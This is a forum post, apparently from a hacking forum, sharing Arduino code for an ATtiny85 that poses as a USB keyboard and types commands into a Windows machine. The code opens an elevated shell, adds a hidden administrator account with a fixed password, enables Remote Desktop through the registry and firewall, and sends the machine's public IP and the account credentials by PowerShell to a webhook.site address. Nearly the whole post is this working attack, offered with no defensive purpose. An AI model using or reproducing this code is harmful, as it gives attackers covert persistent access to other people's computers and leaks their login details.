Remot Desktop Connection with Attiny85
by Mr_subProcess - Thursday February 13, 2025 at 07:12 AM
#1
#include "DigiKeyboard.h"
#define KEY_TAB 0x2b

void setup() {
  pinMode(2, OUTPUT); // Kırmızı LED
}

void loop() {
  DigiKeyboard.update();
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(3000);

  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(200);
  DigiKeyboard.print("taskmgr"); // Görev Yöneticisini Çalıştır
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_F, MOD_ALT_LEFT);
  DigiKeyboard.sendKeyStroke(KEY_N); // Çalıştır
  DigiKeyboard.delay(500);
  DigiKeyboard.print("cmd /k mode con: cols=15 lines=1"); // cmd'yi Çalıştır
  DigiKeyboard.sendKeyStroke(KEY_TAB);
  DigiKeyboard.sendKeyStroke(KEY_SPACE); // Yönetici Ayrıcalıklarını Aç
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(200);
  DigiKeyboard.print("taskkill /IM \"taskmgr.exe\" /F "); // Görev Yöneticisini Kapatma
  DigiKeyboard.delay(500); 
  DigiKeyboard.print("net user blanka Ping@123 /ADD"); // Kullanıcı Ekleme
  DigiKeyboard.delay(500);
  DigiKeyboard.print("net localgroup Administrators blanka /ADD"); // Kullanıcıyı Yönetici Grubuna Ekleme
  DigiKeyboard.delay(500);
  DigiKeyboard.print("reg add \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList\" /v blanka /t REG_DWORD /d 0 /f"); // Kullanıcıyı giriş ekranından gizleme
  DigiKeyboard.delay(500);
  DigiKeyboard.print("reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f"); // Uzak Masaüstünü Açma
  DigiKeyboard.delay(500);
  DigiKeyboard.print("netsh advfirewall firewall set rule group=\"remote desktop\" new enable=yes"); // Güvenlik duvarında izin verme
  DigiKeyboard.delay(500);
  DigiKeyboard.print("net localgroup \"Remote Desktop Users\" blanka /add"); // Kullanıcıyı Uzak Masaüstü grubuna ekleme
  DigiKeyboard.delay(500); 
  DigiKeyboard.print("exit"); // Çıkış Yap
  DigiKeyboard.delay(500);
 
  DigiKeyboard.print("powershell Invoke-RestMethod -Uri https://webhook.site/a6a8d107-9a21-40f6-...54d8d2edc6 -Method Post -Body @{ \"ip\" = (Invoke-WebRequest -Uri \"http://api.ipify.org\").Content; \"user\" = \"blanka\"; \"pass\" = \"Ping@123\" } -ContentType \"application/x-www-form-urlencoded\"");
  DigiKeyboard.delay(500);
 
  digitalWrite(2, HIGH); // Program Bittiğinde Kırmızı Ledi Yak
  DigiKeyboard.delay(90000);
  digitalWrite(2, LOW);
  DigiKeyboard.delay(5000);
}
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [Sektor7] Full Recent Course Spearr 30 625 19 minutes ago
Last Post: sud0net
  Sektor7 - Malware Development Advanced - Vol.1 Sh4d0w1X 424 42,561 20 minutes ago
Last Post: sud0net
  Xordium stealer for Pulsar v2.4.5 nullvex 25 974 3 hours ago
Last Post: gergergergerg5825g651eg
  [ LIST ] 5 FREE STEALERS WITH PROS/CONS elix 384 14,755 4 hours ago
Last Post: gergergergerg5825g651eg
  [Go] Using the recycle bin for stealthy persistence (Beginner tutorial) CreateThread 16 913 Yesterday, 07:53 AM
Last Post: sureno

Forum Jump:


 Users browsing this forum: 1 Guest(s)